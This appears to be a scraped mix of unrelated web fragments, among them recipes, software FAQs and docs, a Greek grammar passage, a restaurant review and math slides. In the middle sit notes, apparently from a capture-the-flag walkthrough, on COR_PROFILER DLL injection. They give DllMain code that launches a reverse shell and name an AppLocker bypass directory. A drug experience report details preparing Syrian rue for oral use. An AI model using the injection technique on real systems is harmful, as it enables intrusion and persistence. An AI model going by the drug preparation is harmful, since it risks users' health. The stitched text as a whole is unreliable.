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Geometric Shapes Perimeter and Area
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Statistical Calculations
2D Geometry Calculator
Calculate perimeter and area of different geometric figures
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See also the ARQ Web site and ARQ FAQ.
The classpath is wrong. Include all the jar files in lib/.
You need to name each one.
See also "The CLASSPATH and Environment Variables"
The classpath is wrong. Include all the jar files in lib/ before running one of the command line applications.
This is almost always due to using the wrong version of the Xerces library. Jena and ARQ make use of XML schema support that changed at Xerces 2.6.0 and is not compatible with earlier versions. At the time of writing Jena ships with Xerces 2.6.1.
In some situations your runtime environment may be picking up an earlier version of Xerces from an "endorsed" directory. You will need to either disable use of that endorsed library or replace it by a more up to date version of Xerces. This appears to happen with some distributions of Tomcat 5.* and certain configurations of JDK 1.4.1.
Get queries working outside Joseki if they are problematic. When running inside a web application, there are many different parts all interacting so it can be hard to see which part is causing problems. Reduce the complexity by testing queries outside Joseki with the ARQ command line tools.
Then run with the standalone server (it's Jetty running with a single web application).
Then move into your web application environment once you know the various parts are working.


Day2Day
Welcome to Day2Day
Your new home page
Name
Email
Password
Repeat Password
I alerady have an account
Email
Password
I forgot my password
I don't have an accout
Email
I don't have an accout
I suddently remember my password


Any random binary such as:
tzsync
C:> set COR_ENABLE_PROFILING=1
COR_PROFILER_PATH=c:\users\ippsec\a.dll
COR_ENABLE_PROFILING --> 1 to enable the profiler, 0 to disable.
COR_PROFILER --> If COR_ENABLE_PROFILING is 1 then CLR check the CLSID/ProgID of the profiler.
COR_PROFILER_PATH --> Path to the profiler's DLL.
Profilling will inject the dll at the path during every v4 .NET binary execution
In earlier versions, this was a HKLM setting, but is now accessible in the PATH!
Let's create a rev shell binary:
Visual Studio > New project > Add C++
Google a c++ rev shell github windows: https://github.com/tudorthe1ntruder/reverse-shell-poc
Don't need an executable, we're making a dll, so on line 12, remove int man(int argc, char *argv[]) and replace with:
void RevShell()
Create new header file (revshell.h)
=======================================================================
#pragma once
void RevShell();
=======================================================================
Creat new main (c++ file dllmain.cpp)
=======================================================================
#include <Windows.h>
#include "revshell.h"
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fwdReason, LPVOID lpReservered)
{
switch(fwdReason)
{
case DLL_PROCESS_ATTACH:
RevShell();
case DLL_PROCESS_DETACH:
break;
}
}
=======================================================================
Finally in Visual Studio, select Project > Property > Configuration Type > DLL
Now copy this dll to Ethereal and place in C:\Windows\Servicing\Packages\pleasesubscribe.dll
(Or other applocker bypass directory)


{{helpCtrl.title}}
Home
Add new task
- Type task in the New Task textbox
- Press add button to add task to the task list
- Unfinished tasks count shown in the task header
Complete task
- In the task list click on the check box to complete the task
- Completed tasks will be displayed as strikeout text
- Unfinished tasks count shown in the task header
Delete task
- Select the task
- An options menu will be displayed
- Select trash icon to delete the task from the list
Settings
Change Theme
- Navigate to the settings page from the sidebar
- Select the available themes from the list to change the theme


users-admin(1) users-admin(1) NAME users-admin - Users Administration Tool SYNOPSIS users-admin [OPTION...] DESCRIPTION users-admin is part of the GNOME system tools, a set of tools to easily access and manage system configuration. users-admin allows you add, delete and modify the existing users and groups in your system. OPTIONS users-admin accepts the standard GNOME and GTK options. AUTHORS users-admin was written by Carlos Garnacho Parro<EMAIL_ADDRESS>and others. This manual page was written by Sven Arvidsson<EMAIL_ADDRESS>for the Debian project (but may be used by others). SEE ALSO services-admin(1), network-admin(1), time-admin(1), shares-admin(1), gtk- options(7), gnome-options(7) The online documentation available through the program's Help menu. GNOME 2007-05-08 users-admin(1)


Preparation time
overnight
Cooking time
over 2 hours
Serves
Serves 10
Tom Kerridge calls this beef version of pulled pork the ‘ultimate sandwich’. It may take a while, but it will be worth the wait. Serve with coleslaw.
Equipment and preparation: for this recipe you will need a pestle and mortar, some kitchen string and a freestanding mixer with dough hook attachment.
For the brisket, put the coriander seeds, cumin seeds, mustard seeds and peppercorns in a frying pan and toast over a medium heat for a few minutes, taking care not to burn them. Allow to cool.
Once cooled, add the spices to a pestle and mortar and crush to a powder. Add the sugar, smoked paprika and cayenne pepper and mix together.
Score the inside of the beef with a sharp knife and rub the spice mix all over the joint, inside and out. Roll the joint up and tie securely in several places using kitchen string. Cover with cling film and place in the fridge overnight.
The next day, preheat the oven to 160C/325F/Gas 3. Place the brisket on a wire rack inside a roasting tray and pour the beef stock around the outside. Cover the whole tray with aluminium foil to prevent any moisture escaping. Place in the oven to cook slowly for 4-6 hours, occasionally checking that the liquid hasn’t evaporated. Add some water if it looks low.
After 4-6 hours the beef should be soft and tender. Remove from the oven and leave to rest in the aluminium foil for 25 minutes. Reserve any cooking juices.
For the milk buns, place the flour in the bowl of a freestanding mixer with a dough hook attached. Add the yeast to one side of the bowl and the salt and sugar to the other.
Warm the milk and butter together over a low heat to body temperature, the butter should just melt. Add the warm mixture to the flour and bring together using the dough hook. Knead in the machine for a further 5-8 minutes until you have a silky, shiny dough. Turn the machine off, cover the bowl with cling film and put the bowl in a warm place to prove until doubled in size - around 1-2 hours.
Once doubled in size, knock the air out of the dough and knead briefly by hand. Lightly dust a work surface with flour, split the dough into 12 equal pieces, weighing approximately 80g/3oz each, and roll into balls.
Grease a large baking tray or two small baking trays with oil. Place the balls of dough on the tray, slightly spaced apart. Cover with oiled cling film and leave to prove for an hour, or until they have doubled in size. As they prove, the rolls will touch each other.
Preheat the oven to 220C/425F/Gas 7. Discard the cling film and brush the top of the rolls with the beaten egg. Sprinkle with sesame seeds and the flaky sea salt. Bake for 8-12 minutes, or until golden-brown. Remove from the oven and leave to cool.
For the barbecue sauce, put a very large pan over a high heat and add the vinegar. Bring to the boil, then turn down the heat and slowly reduce the volume of liquid by half. Add the sugar, bourbon, cola, ketchup and juices and Worcestershire sauce. Skim off the fat from the surface of the beef brisket cooking juices and add the remaining juices to the pan. Bring back to the boil, then turn the heat down and simmer very slowly for 15-20 minutes.
Meanwhile, remove the brisket from the rack and pull the meat apart using a fork. Add the shredded brisket to the simmering sauce along with any juices left in the roasting tray. Bring back to a very low simmer and cook for a further 10-15 minutes. Turn the heat off and put the pan to one side.
Serve the beef together with the milk buns and some coleslaw to make the ultimate sandwich.


Contiv/VPP¶
This section provides the following information about the Contiv function:
- Contiv/VPP Kubernetes Network Plugin
- Security
- Contiv-VPP Vagrant Installation
- Manual Installation
- Creating VPP Startup Configuration
- Preparing a VmWare Fusion Host
- Contiv/VPP Network Operation
- Setting up a Node with a Single NIC
- Setting Up a Node with Multiple NICs
- Setting Up a Custom Management Network on Multi-Homed Nodes
- Prometheus Statistics
- How to do VPP Packet Tracing in Kubernetes
- Using vpptrace.sh for VPP Packet Tracing
- Capturing VPP core dumps
- Debugging and Reporting Bugs in Contiv-VPP


PREPARATION: I ground 10 grams of Syrian rue seeds in a coffee grinder and put them into a small pot. I added 2 cups water and 1/4 cup lemon juice and one 'emergen C' packet. (Emergen c is an energy supplement that comes in a powdered effervescent formula. It contains high amounts of vitamin c, ascorbic acid, and b vitamins. It can be obtained from any Vitaminworld or GNC.)
I brought this mixture to a boil and kept it there for about 5 minutes. I strained off the liquid through a fine mesh permanent coffee filter. Any type of filter would work as long as it keeps the seeds from going through. I then added fresh water, lemon juice, and another emergen c packet in the same proportions to the seeds and repeated the whole process. I combined both batches of liquid into a fresh pot and set it to boil. I discarded the seeds at this point and sat around waiting for the liquid to boil down.
I let the liquid boil for about half an hour until all the water and juice had evaporated and a very sticky resin was left.
I poured the resin onto a plastic plate and let it sit for about 5-10 min to cool and harden slightly. (Don’t touch resin to anything you would not want possibly stained.) Once the resin was still soft and malleable, but not too sticky to touch I rolled it up into a big mass and pinched off small pieces.
BODY SETUP: I ate a light breakfast of oatmeal and had a little bit of rice and chicken broth in the morning, but did not eat after 1:30 p.m. Be sure to adhere to the diet restrictions necessary when taking MAOI's. During the whole preparation of the Syrian rue I drank a tea made from dried dandelion and ginger. This tea helps to prevent nausea and calm the stomach.
SETTING: I did this at home and prepared the concoction in the afternoon.
TRIP: After swallowing the Syrian rue balls at 7:40 I waited around for it all to kick in. I felt a little warm and fuzzy after about half an hour, but nothing significant. The trip really didn't start until about 9:30, but once it started it came on hard much like MDMA does. By the time you notice it starting it's almost peaking.
Balance and coordination started to become impaired which made walking sorta interesting, similar to alcohol effects.  I had my blacklight on in my room and many things were glowing because of it. Every time I moved my head or turned around there were trails from everything that was glowing on my walls. Also, a funny note, harmine/harmaline must be blacklight responsive because my hands were glowing really bright.
It took me the better part of the night to figure out that it must've been from when I was rolling all the resin into balls between my hands. Anyway this also made for great trails because the trail from my hand would glow. I could move my hand in a figure eight and have a steady trail keep the eight there. I didn't really get any CEV's like I had expected. This high seemed to focus around motion. Moving my head around would cause the whole room to spin, slide, or trail.
The only frustrating part was that moving around too much did make me feel a little queasy. I felt perfectly fine while laying down though. I never did throw up and didn't really feel sick unless I walked around for too long. The main stomach discomfort was that I was really hungry the whole time since I’d eaten so little in order to fast for this. All the effects appeared to have peaked by 10:30 and stayed on strong.
I laid down around 11 and closed my eyes. I found it really easy to concentrate and think clearly. I had many great thoughts and strings of ideas. By laying down I sort of fell into a dream like state, I'd say a light REM sleep stage. I awoke at 12:20 with the effects still going strong and decided to eat something.  I had no problem keeping it down and didn't feel sick at all. I have a feeling I could've eaten earlier, but didn't want to risk it just in case. After eating I laid down again and drifted back into the dream state and stayed there until morning.
CONCLUSION: I awoke the next day feeling very relaxed, happy and satisfied. My mind was a little numb and I was a little groggy, but normal otherwise. It was somewhat hard to concentrate the morning after, but that's the only side effect I had. Overall I consider it a success and enjoyable. No paranoia or sickness, but in general it's too much hassle for the high. I’d only do it again to combine it with something else, either with shrooms, acid, or in an ayahuasca brew.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Up: Part IV: Syntax Previous: COMPOUND AND COMPLEX SENTENCES: COÖRDINATION AND SUBORDINATION Next: SYNTAX OF THE COMPLEX SENTENCE
A compound sentence consists of two or more simple sentences, grammatically independent of one another and generally united by a coördinating conjunction. Thus,
but on the next day they proceeded through the plain and Tissaphernes kept following themτῇ δὲ ὑστεραίᾳ ἐπορεύοντο διὰ τοῦ πεδίου ι καὶ ι Τισσαφέρνης εἵπετο
a. Abbreviated compound sentences, i.e. sentences containing a compound subject with a single verbal predicate or a single subject with a compound verbal predicate, are treated in this book as expanded simple sentences (923, 924).
Greek has, among others, the following coördinating conjunctions, the uses of which in connecting sentences, clauses, phrases, and single words are described under Particles.
A.
E. Causal conjunction: γάρ for.
Compound sentences are divided into Copulative, Adversative, Disjunctive, Inferential, and Causal sentences.
Two or more sentences (or words) independent in form and thought, but juxtaposed, i.e. coördinated without any connective, are asyndetic (from ἀσύνδετον not bound together), and such absence of connectives is called asyndeton.
a. The absence of connectives in a language so rich in means of coördination as is Greek is more striking than in other languages. Grammatical asyndeton cannot always be separated from rhetorical asyndeton. Grammatical asyndeton is the absence of a conjunction where a connective might have been used without marked influence on the character of the thought; as especially in explanatory sentences (often after a preparatory word, usually a demonstrative) which take up the matter just introduced; also where, in place of a conjunction, a resumptive word, such as οὗτος, τοιοῦτος, τοσοῦτος, ἐνταῦθα, οὕτω, etc., is employed. Rhetorical asyndeton is the absence of a conjunction where the following sentence contains a distinct advance in the thought and not a mere formal explanation appended to the foregoing sentence. Rhetorical asyndeton generally expresses emotion of some sort, and is the mark of liveliness, rapidity, passion, or impressiveness, of thought, each idea being set forth separately and distinctly.  D. 25.63.
Asyndeton is frequent in rapid and lively descriptions.
interlocking their shields, they shoved, they fought, they slew, they were slainσυμβαλόντες τὰ̄ς ἀσπίδας ἐωθοῦντο, ἐμάχοντο, ἀπέκτεινον, ἀπέθνῃσκον
you have a city, you have triremes, you have money, you have so many menἔχεις πόλιν, ἔχεις τριήρεις, ἔχεις χρήματα, ἔχεις ἄνδρας τοσούτους
Asyndeton also appears when the unconnected sentence
a. Summarizes the main contents, or expresses the result, of the preceding. Thus,
you have the whole storyπάντ᾽ ἔχεις λόγον
you have heard, you have seen, you have suffered, you have the evidence; pronounce your judgmentἀκηκόατε, ἑωρἁ̄κατε, πεπόνθατε, ἔχετε· δικάζετε
b. Expresses a reason or explains the preceding. Thus, μῑκρὸν δ᾽ ὕπνου λαχὼν εἶδεν ὄναρ· ἔδοξεν αὐτῷ . . . σκηπτὸς πεσεῖν κτλ. when he had snatched a little sleep, he saw a vision; a bolt of lightning seemed to him to fall, etc. X. A. 3.1.11,
come home; all the Cadmean folk calls theeἱκοῦ πρὸς οἴκους· πᾶς σε Καδμείων λεὼς καλεῖ
in one point alone has the cavalry the advantage of us: it is safer for them to run away than for usἑνὶ μόνῳ προέχουσιν οἱ ἱππεῖς ἡμᾶς· φεύγειν αὐτοῖς ἀσφαλέστερόν ἐστιν ἢ ἡμῖν
c. Repeats a significant word or phrase of the earlier sentence (anaphora). Thus,
and let him who approves this, hold up his hand; they all held up their handsκαὶ ὅτῳ δοκεῖ ταῦτα, ἀνατεινάτω τὴν χεῖρα· ἀνέτειναν ἅπαντες
d. Sets forth a contrast in thought to the preceding. This is commoner in poetry than in prose. Thus,
this lies in the future; the present must be thy careμέλλοντα ταῦτα· τῶν προκειμένων τι χρὴ πρά̄σσειν
e. Introduces a new thought or indicates a change to a new form of expression. Thus, ἀλλ᾽ ἰτέον, ἔφη. πρῶτόν με ὑπομνήσατε ἃ ἐλέγετε but we must proceed, said he. First recall to my mind what you were saying P. Ph. 91c.
f. Is introduced by a word stressed by emotion, as ταῦτα D. 3.32, ἐγώ 4. 29.
On juxtaposition of participles, see 2147.
The term parataxis (παράταξις arranging side by side), as here employed, is restricted to the arrangement of two independent sentences side by side, though one is in thought subordinate to the other.
a. In Greek, παράταξις means simply coördination in general, as ὑπόταξις means subordination.
In many cases parataxis is a common form of expression not only in the earlier language of Homer, but also in Attic prose and poetry.
So frequently in Attic prose with καί, τὲ . . . καί, ἅμα . . . καί, εὐθὺς . . . καί, and with δέ meaning for. Thus, ἤδη δὲ ἦν ὀψὲ . . . καὶ οἱ Κορίνθιοι πρύμναν ἐκρούοντο it was already late and (for when) the Corinthians started to row astern T. 1.50, καὶ ἤδη τε ἦν περὶ πλήθουσαν ἀγορὰ̄ν καὶ ἔρχονται . . . κήρῡκες and it was already about the time when the market-place fills and ( = when) heralds arrived X. A. 2.1.7,
and as soon as he said this, he departedκαὶ ἅμα ταῦτ᾽ ἔλεγε καὶ ἀπῄει
a. Temporal conjunctions, as ἡνίκα, are rarely used to introduce such clauses, which often indicate a sudden or decisive occurrence or simultaneous action.
b. Thucydides is especially fond of καί or τέ to coördinate two ideas, one of which is subordinate to the other.
Parataxis often occurs when a thought naturally subordinate is made independent for the sake of emphasis or liveliness. Such rhetorical parataxis occurs chiefly in the orators and in Pindar. So especially when μέν and δέ are used to coördinate two contrasted clauses, the former of which is logically subordinate and inserted to heighten the force of the latter. Here English uses whereas, while. Thus,
it is a shame that, whereas I have undergone the toil of exertions in your cause, you will not endure even their recitalαἰσχρόν ἐστι, εἰ ἐγὼ μὲν τὰ ἔργα τῶν ὑπὲρ ὑ̄μῶν πόνων ὑπέμεινα, ὑ̄μεῖς δὲ μηδὲ τοὺς λόγους αὐτῶν ἀνέξεσθε
There exist many traces in Greek of the use of the older coördination in place of which some form of subordination was adopted, either entirely or in part, in the later language.
a. Thus several relative pronouns and adverbs were originally demonstrative, and as such pointed either to the earlier or the later clause. So ὁ, ἡ, τό (1105, cp. 1114): τεύχεα δ᾽ ἐξενάριζε, τά οἱ πόρε χάλκεος αρης (H 146) meant originally he stripped him of his arms; these brazen Ares had given him. τέως so long is properly demonstrative, but has acquired a relative function in
and while there is time, take our policy in handκαὶ τέως ἐστὶ καιρός, ἀντιλάβεσθε τῶν πρᾱγμάτων
Homer often places two thoughts in juxtaposition without any regard for logical connection. This is especially common with δέ, τέ, καί, αὐτάρ, ἀλλά. Thus, πολὺς δ᾽ ὀρυμαγδὸς ἐπ᾽ αὐτῷ ἀνδρῶν ἠδὲ κυνῶν, ἀπό τέ σφισιν (for οἶς)
and there is loud clamour around him of men and of dogs, and sleep is gone from themὕπνος ὄλωλεν
a. So also in clauses preceded by a relative word; as εἷος ὁ ταῦθ᾽ ὥρμαινε . . ., ἐκ δ᾽ Ἑλένη θαλάμοιο . . . ἤλυθεν while he was pondering on this, (but) Helen came forth from her chamber δ 120, ὅς κε θεοῖς ἐπιπείθηται, μάλα τ᾽ ἔκλυον αὐτοῦ whoever obeys the gods, (and) him they hear Α 218.
b. This use appears even in Attic prose; as οἰκου̂ͅσι δ᾽ ἐν μιᾷ τῶν νήσων οὐ μεγάλῃ, καλεῖται δὲ (for ἣ καλεῖται) Λιπάρᾱ they dwell in one of the islands that is not large, and it (which) is called Lipara T. 3.88. Cp. also 2837.


Log messages
You can choose six log levels for this application:
-
ERROR : Shows the unmanaged errors occurred on the app execution
-
WARN : Shows the warning messages about the parameters definition and the task execution.
-
INFO : Shows the data managed by the application (e.g. task information, request's input parameters and received output parameters).
-
DEBUG : Traces the execution steps of the application and shows the currently configuration settings.
-
ALL : Shows all the log messages.
-
OFF : Hides all the log messages.
Each level shows its messages and those of greater levels.
For example, if you sets the INFO level, the application shows the INFO messages and also the WARN and ERROR messages .


Manhattan, New York
Zaragoza Mexican Deli and Grocery
Behind a grungy bodega facade, a Poblano family serves rich, home-cooked meals.
by lukefaterAnyone who’s spent enough time in New York City (especially transplant Los Angelinos) will tell you the five boroughs’ Mexican foodscape is lacking. They’ll lament the overpriced tacos, high-end concept Mexican restaurants, and the lack of authentic ingredients. They won’t tell you about Zaragoza, because they’ve probably never been.
In the back of a pint-sized Mexican-owned bodega in the East Village, chef-owners Pompeyo and Maria Martinez make up for a sea of subpar Mexican establishments by selling delicious Poblano dishes out of this covert eatery (its very name is a nod to their hometown of Zaragoza de la Luz in the state of Puebla). Bloggers bemoan having walked by for years without ever knowing it was there.
At its inception in 2000, the bodega-cocina sold imported Mexican spices, herbs, and chilies to the then-mostly Latinx surrounding neighborhood. They’ve always sold hot food, but they never needed anything more than a bench along the wall until years later.
Today, Zaragoza serves more well-heeled, inebriated night-owls than it used to, but it’s retained a familial charm by obscuring the friendly Martinez family’s rich, home-cooked meals behind a grungy bodega facade in an unlikely area for quality Mexican eating. It helps that there’s a friendly resident cat.
Past its unassuming exterior, you’ll find a rotating menu of Mexican classic fillings for tacos, burritos, tortas, and more. Chipotle chicken and al pastor are typical mainstays, but depending on the day you may also encounter ground chorizo, goat, flor de calabaza (pumpkin flower), and lengua (tongue). The burritos come smothered in green and red salsa with cheese in the middle, in the likeness of the Mexican flag, while the tortas come bigger than your head.
Wash it down with your favorite Jarritos and a cat on your lap. Just don’t go telling everyone about it.
Atlas Obscura Experiences
Oddities Flea Market "Holiday of Wonders" Exclusive VIP Presale Tickets
Brooklyn, New York
$30 per person
Community Discussion
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Sources
- https://www.timeout.com/newyork/shopping/zaragoza-mexican-deli-grocery
- https://eatthisny.com/2014/06/26/dish-of-the-week/dish-of-the-week-goat-taco-at-zaragoza-mexican-deli-grocery/
- https://www.theinfatuation.com/new-york/reviews/zaragoza-grocery
- https://www.nytimes.com/2013/07/21/nyregion/a-bodega-for-all-hours.html


YoungInnovations Blog
We develop innovative solutions! But we take pride in making solutions work and create impact!!
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Giving continuity to our Knowledge Sharing Wednesday (KSW), yesterday Sumit presented on
7 Golden Rules of Simple and Clean code
. From trying to solve issues with deployment, git flow,
server monitoring we realized that we should start from the basics, so we thought we will do a
talk on how to write Simple, Clean, Readable, Understandable, maintainable and testable (SCRUMT)
code.
August 22, 2015 was an adventurous day for designers and front end developers in the city mostly because majority of us attended the Kathmandu dribbble meetup at the Entrance Cafe, Pulchowk. With the objective of creating learning and networking platform for designers in Nepal, Kathmandu Dribbble meetup was organized for the first time in Kathmandu. The event had speakers/presenters, design showcases, networking tables among the major attractions. There were five speakers who shared their experiences in design, branding and marketing. So let’s talk about what happened at the Dribbble meetup.
A week ago, I wrote a blog on Automated Deployment With Capistrano. This is a part-2 to that bolg. Here, you will learn to deploy a Laravel 5 application using Capistrano 3. If you come across some terminologies, of which you have no idea, please checkout these slides. Now lets learn how to deploy.
I am currently working on a Laravel project which has taught me a lot of new things and among those that I have learnt, I’ll be shedding a little light on Logging, the importance of it and how and where to log.
This has been a great week at YIPL with teej right around the corner. Everybody was excited for the teej party, organized at our very own office by our very own ladies, Radhika, Neha, Kriti and I’m sure others helped as well.


Welcome to Pat's Salmon Cookies
The only place in the Pacific Northwest to find Salmon Cookies
Family Friendly Events
Check out some of our store merchandise!
Salmon cookies are amazing. Nobody ever though of combining delicious salmon with the concept of cookies until good old Pat cooked it up one day. Now we're the premier company to go to find Salmon cookies!


{% extends "base.html" %} {% load wagtailcore_tags %} {% block title %}Rewards{% endblock %} {% block content %}
Congratulations on redeeming this service
Redemption Number: {{ reward_number }}
Service Used: {{ service }}
Points used: {{ point }}
Points available: {{ points_available }}
Confirmation was sent to your email.


|
| Local Properties | ||
| Managed Object Types | Data Object Types | All Properties | All Methods |
Properties
| Name | Type | Description |
|---|---|---|
| checkBeacon* | BoolPolicy |
The flag to indicate whether or not to enable this property to
enable beacon probing as a method to validate
the link status of a physical network adapter.
checkBeacon can be enabled only if the VirtualSwitch has been
configured to use the beacon. Attempting to set checkBeacon
on a PortGroup or VirtualSwitch that does not have beacon probing
configured for the applicable VirtualSwitch results in an error.
|
| checkDuplex* | BoolPolicy |
The flag to indicate whether or not to use the link duplex reported
by the driver as link selection criteria.
If checkDuplex is true, then fullDuplex is the configured duplex mode. The link is considered bad if the link duplex reported by driver is not the same as fullDuplex.
If checkDuplex is false, then fullDuplex is unused, and
link duplexity is not used as a detection method.
|
| checkErrorPercent* | BoolPolicy |
The flag to indicate whether or not to use link error percentage
to detect failure.
If checkErrorPercent is true, then percentage is the configured error percentage that is tolerated. The link is considered bad if error rate exceeds percentage.
If checkErrorPercent is false, percentage is unused, and
error percentage is not used as a detection method.
|
| checkSpeed* | StringPolicy |
To use link speed as the criteria, checkSpeed must be one of
the following values:
|
| fullDuplex* | BoolPolicy |
See checkDuplex |
| percentage* | IntPolicy |
See checkErrorPercent |
| speed* | IntPolicy |
See checkSpeed |
| Properties inherited from InheritablePolicy | ||
| inherited | ||
| Properties inherited from DynamicData | ||
| None |
| Top of page | Local Properties | ||
| Managed Object Types | Data Object Types | All Properties | All Methods |


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The Searcher module enables easy searching of Nxus models using different adapters for Solr, ElasticSearch and others.
> npm install @nxus/searcher --save
The Searcher module depends on @nxus/storage. The first step is adding and configuring the search adapter you'd like to use. For example, if we want to enable ElasticSearch, we first install the waterline-elasticsearch adapter, then setup the configuration options in the Storage config.
npm install waterline-elasticsearch --save
then add to package.json
"storage": {
"adapters": {
...
"searcher": "waterline-elasticsearch"
},
"connections": {
...
"searcher: {
"adapter": "searcher",
"host": "
Now that the correct Storage adapters are configured, you'll need to tell Searcher which models you want to enable
search using the searchable
method. Searchable accepts an identity for a model which has already been registered.
app.get('searcher').searchable('user')
By default, Searcher will look for a field named title
or name
to use as the search field. You can specify different, or
multiple fields to search by specifying a second options parameter, with the fields
key:
app.get('searcher').searchable('user', {fields: 'firstName'}) app.get('searcher').searchable('user', {fields: ['firstName', 'lastName']})
Based on the model identify, Searcher will create the following routes
/users/search
which accepts a search parameter q
. So to search for the term 'pizza':
/users/search?q=mike
The search wil return a list of results using the views below.
You can provide search specific views to be used for search results:
Alternatively, if no search templates are found, searcher will automatically use the @nxus/base-ui
views for any model
that is searchable (if they exist).
Finally, searcher will use default list/detail views if no other templates are found.
The Search class enables automated searching of models using different adapters.
Register a model to be searchable.


Automating Mathematics?
-
Can computers acquire all the major capabilities used by mathematicians and the
mathematics community in the discovery and proof of
mathematical results and concepts?
- When? How?
- I began my research in low-dimensional topology, doing a Ph.D. at
Caltech
(advisor: David Gabai).
- During my PostDoc at Stony Brook, and for over a decade in India after that, I mainly worked in
low-dimensional topology and related fields such as geometric group theory and
riemannian geometry.
- However, for the last few years I have mainly focussed on attempts at Automated Theorem
Proving.
- Surprisingly both these strands came together in the PolyMath adventure.
The PolyMath 14 participants
- Tobias Fritz, MPI MIS
- Siddhartha Gadgil, IISc, Bangalore
- Apoorva Khare, IISc, Bangalore
- Pace Nielsen, BYU
- Lior Silberman, UBC
- Terence Tao, UCLA
- On Saturday, December 16, 2017, Terrence Tao posted on his blog a question, which Apoorva Khare
had asked him.
Is there a homogeneous, (conjugacy invariant) length function on the free group on two
generators?
- Six days later, this was answered in a collaboration involving several
mathematicians (and a computer).
- We begin with an account of this episode.
- Let $\mathcal{W}$ be the set of finite words in the alphabet $\{\alpha, \beta, \bar\alpha,
\bar\beta\}$,
with multiplication given by concatenation and $e$ the empty word.
-
Question: Is there a non-negative, real-valued function $l$ on $\mathcal{W}$
such that for $g, h\in\mathcal{W}$,
- $l(e) =0$,
- $l(g\cdot\lambda\bar\lambda\cdot h) = l(g\cdot h) = l(g\cdot\bar\lambda\lambda\cdot h)$,
for $\lambda=\alpha,\beta$ ($l$ defined on the free group),
- $l(g\cdot h)\leq l(g) + l(h)$ (triangle inequality),
- if $l(g) = 0$ then $g\sim e$ (positivity),
- $l(g^n)=nl(g)$, (homogeneity)?
- Pseudo-lengths satisfy 1 – 3, lengths satisfy 1 – 4.
- Over the first 4-5 days after the question was posted,
- there were many (failed, but instructive) attempts to construct such length functions;
- in particular I focussed on a construction using non-crossing matchings,
but this was not homogeneous;
- the failures of various constructions led to the feeling that
$l(\alpha\beta\bar\alpha\bar\beta) = 0$ for homogeneous pseudo-lengths, which violates positivity.
- Increasingly sharp bounds and methods of combining bounds were found.
- But there was no visible path to proving $l(\alpha\beta\bar\alpha\bar\beta) = 0$.
- I searched for bounds using an algorithm to calculate the non-crossing
matchings length,
together with interactive use of homogeneity.
- On Thursday morning, I posted a computer generated, human readable proof of a
bound, obtained by upgrading the algorithms to find proofs rather than just numbers.
- The computer-generated proof was studied by Pace Nielsen, who extracted the internal
repetition trick.
- This was extended by Pace Nielsen and Tobias Fritz and abstracted by Terence Tao.
- From this Fritz obtained a key lemma.
- Using Probability, Terence Tao completed the proof of a result answering the question.
- This work became PolyMath 14, and has been published in Algebra & Number
Theory.
- The computer generated proof was obtained by an algorithm using domain specific
foundations.
- Subsequently, we embedded the foundations we used to generate the proofs and formalized the
internal repetition trick in ProvingGround.
- An account of the computer proof was published in the Journal of Automated reasoning.
- In response to the referees comments we replicated the computer proof
(and also addressed the issue of rounding off errors).
- In the future, all parts should perhaps be done with the Lean Theorem Prover.
ProvingGround:
Foundations, Formal Proofs
Type Theory with symbolic algebra
- We have implemented Martin-Löf Type Theory (Homotopy Type Theory?) in
scala.
- These are foundations of mathematics, where proofs and statements are first class mathematical objects,
like numbers or spaces.
- There is an integration with some symbolic algebra by allowing wrapped scala objects as terms.
- Using this we gave a formal proof of the key PolyMath 14 lemma.
Recursion, Induction, scala types
- ProvingGround has implementations of inductive types, including indexed inductive types.
- The scala type of a term (mathematical object) gives bounds on its HoTT type.
- This is especially useful while working with induction.
- In the type theory we implement, recursive/inductive definitions are total, but are more
flexible than
primitive recursion.
Theorem: For all $n\in\mathbb{N}$, $n$ is even or $n + 1$ is even.
val claim: Func[Term, PlusTyp[Term, Term]] = n :-> (isEven(n) || isEven(succ(n)))
val base: Term = claim(zero).incl1(zeroEven) !: claim(zero)
val hyp1: Term = "n-is-Even" :: isEven(n)
val hyp2: Term = "(n+1)-is-Even" :: isEven(succ(n))
val thm: GenFuncTyp[Term, Term] = n ~>: (claim(n))
val step: FuncLike[Term, Func[Term, Term]] = n :~> {
(claim(n).rec(claim(succ(n)))) {
hyp1 :-> (claim(succ(n)).incl2(plusTwoEven(n)(hyp1)))
} {hyp2 :-> (claim(succ(n)).incl1((hyp2)))}}
val inductor: Func[Term, Func[FuncLike[Term,
Func[Term, Term]],FuncLike[Term, Term]]] =
NatInd.induc(claim)
val pf: FuncLike[Term, Term] = inductor(base)(step) !: thm
Theorem: If $f(n) = f(n+1)$ for all $n\in\mathbb{N}$, then $f$ is a constant
function.
val A: Typ[Term] = "A" :: Type
val f: Func[Term,Term] = "f" :: Nt ->: A
val ass: FuncLike[Term,Equality[Term]] =
"assumption" :: n ~>: (f(n) =:= f(succ(n)))
val claim: Func[Term,IdentityTyp[Term]] =
n :-> (f(zero) =:= f(n))
val base: Refl[Term] = f(zero).refl
val hyp: Equality[Term] = "hypothesis" :: (f(zero) =:= f(n))
val step: Func[Equality[Term],Equality[Term]] = hyp :-> {
IdentityTyp.trans(A)(f(zero))(f(n))(f(succ(n)))(hyp)(ass(n))}
val thm: GenFuncTyp[Term,Equality[Term]] = n ~>: (claim(n))
val inductor: Func[Equality[Term],Func[FuncLike[Term,Func[Equality[Term],Equality[Term]]],FuncLike[Term,Equality[Term]]]] = NatInd.induc(claim)
val pf: FuncLike[Term,Equality[Term]] = inductor(base)(n :~> step) !: thm
The Fibonacci numbers, recursively defined with different starting values.
val n: Term = "n" :: Nat
val m1: Term = "m1" :: Nat
val m2: Term = "m2" :: Nat
val recNNNN: Func[Func[Term, Func[Term, Term]], Func[Func[Term, Func[Func[Term, Func[Term, Term]], Func[Term, Func[Term, Term]]]], Func[Term, Func[Term, Func[Term, Term]]]]] =
NatInd.rec(Nat ->: Nat ->: Nat)
val fibn: Func[Term,Func[Term,Term]] =
"fib_aux(n,_,_)" :: Nat ->: Nat ->: Nat
val fib_aux: Func[Term,Func[Term,Func[Term,Term]]] = recNNNN(m1 :-> (m2 :-> m1))(n :-> (fibn :-> (m1 :-> (m2 :-> fibn(m2)(add(m1)(m2))))))
val fib: Func[Term,Term] = n :-> fib_aux(n)(zero)(one)
The Ackermann function.
